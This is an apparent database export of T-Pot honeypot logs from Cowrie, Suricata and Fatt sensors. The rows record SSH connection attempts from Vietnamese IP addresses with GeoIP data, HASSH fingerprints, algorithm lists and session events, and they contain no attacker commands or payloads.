\N	\N
22746	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:25.371712+03	2021-09-20 14:15:06.6105+03	{"_id": "2QbjAnwBvYTbRNuEpQri", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 179297359522718, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 44730, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.371712Z", "@timestamp": "2021-09-20T11:07:25.371Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22747	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:25.47245+03	2021-09-20 14:15:06.6115+03	{"_id": "4QbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:34332 (192.168.176.2:22) [session: 833c701c0d6c]", "session": "833c701c0d6c", "@version": "1", "protocol": "ssh", "src_port": 34332, "dest_port": 22, "timestamp": "2021-09-20T11:07:25.472450Z", "@timestamp": "2021-09-20T11:07:25.472Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22748	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:25.371878+03	2021-09-20 14:15:06.612501+03	{"_id": "6wbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44730, "timestamp": "2021-09-20T11:07:25.371878", "@timestamp": "2021-09-20T11:07:25.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22749	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:25.517253+03	2021-09-20 14:15:06.6135+03	{"_id": "7AbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49398, "timestamp": "2021-09-20T11:07:25.517253", "@timestamp": "2021-09-20T11:07:25.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22750	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.373389+03	2021-09-20 14:15:06.615471+03	{"_id": "5gbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3830633aea8a", "@version": "1", "timestamp": "2021-09-20T11:07:25.373389Z", "@timestamp": "2021-09-20T11:07:25.373Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22751	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:26.009257+03	2021-09-20 14:15:06.616499+03	{"_id": "9wbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "8c04553a1997", "@version": "1", "duration": 4.04819393157959, "timestamp": "2021-09-20T11:07:26.009257Z", "@timestamp": "2021-09-20T11:07:26.009Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22752	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:26.026497+03	2021-09-20 14:15:06.6175+03	{"_id": "-AbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "833c701c0d6c", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:26.026497Z", "@timestamp": "2021-09-20T11:07:26.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22753	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:25.988121+03	2021-09-20 14:15:06.6185+03	{"_id": "6AbjAnwBvYTbRNuEpwpU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5ee0cbf99b22", "@version": "1", "timestamp": "2021-09-20T11:07:25.988121Z", "@timestamp": "2021-09-20T11:07:25.988Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22754	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:25.884929+03	2021-09-20 14:15:06.6205+03	{"_id": "3wbjAnwBvYTbRNuEpwpT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34856, "timestamp": "2021-09-20T11:07:25.884929", "@timestamp": "2021-09-20T11:07:25.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22755	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.349733+03	2021-09-20 14:15:06.621504+03	{"_id": "4AbjAnwBvYTbRNuEpwpT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "c7c7fbdf7fe8", "@version": "1", "duration": 2.4047904014587402, "timestamp": "2021-09-20T11:07:25.349733Z", "@timestamp": "2021-09-20T11:07:25.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22756	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:26.098068+03	2021-09-20 14:15:06.6235+03	{"_id": "-wbjAnwBvYTbRNuEqQrJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2196785232422154, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34856, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.098068Z", "@timestamp": "2021-09-20T11:07:26.098Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22757	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:26.489689+03	2021-09-20 14:15:06.6245+03	{"_id": "_AbjAnwBvYTbRNuEqQrJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 741263765350081, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex", "is_ssh_client_banner"]}, "src_port": 52444, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.489689Z", "@timestamp": "2021-09-20T11:07:26.489Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22758	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:26.828041+03	2021-09-20 14:15:06.6255+03	{"_id": "_QbjAnwBvYTbRNuEqQrJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 228068859772569, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33996, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.828041Z", "@timestamp": "2021-09-20T11:07:26.828Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22759	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:26.874225+03	2021-09-20 14:15:06.626503+03	{"_id": "_gbjAnwBvYTbRNuEqQrJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 479891383297233, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33434, "dest_port": 22, "timestamp": "2021-09-20T11:07:26.874225Z", "@timestamp": "2021-09-20T11:07:26.874Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22786	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.611687+03	2021-09-20 14:15:06.6605+03	{"_id": "pQbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0aef40958475", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:29.611687Z", "@timestamp": "2021-09-20T11:07:29.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
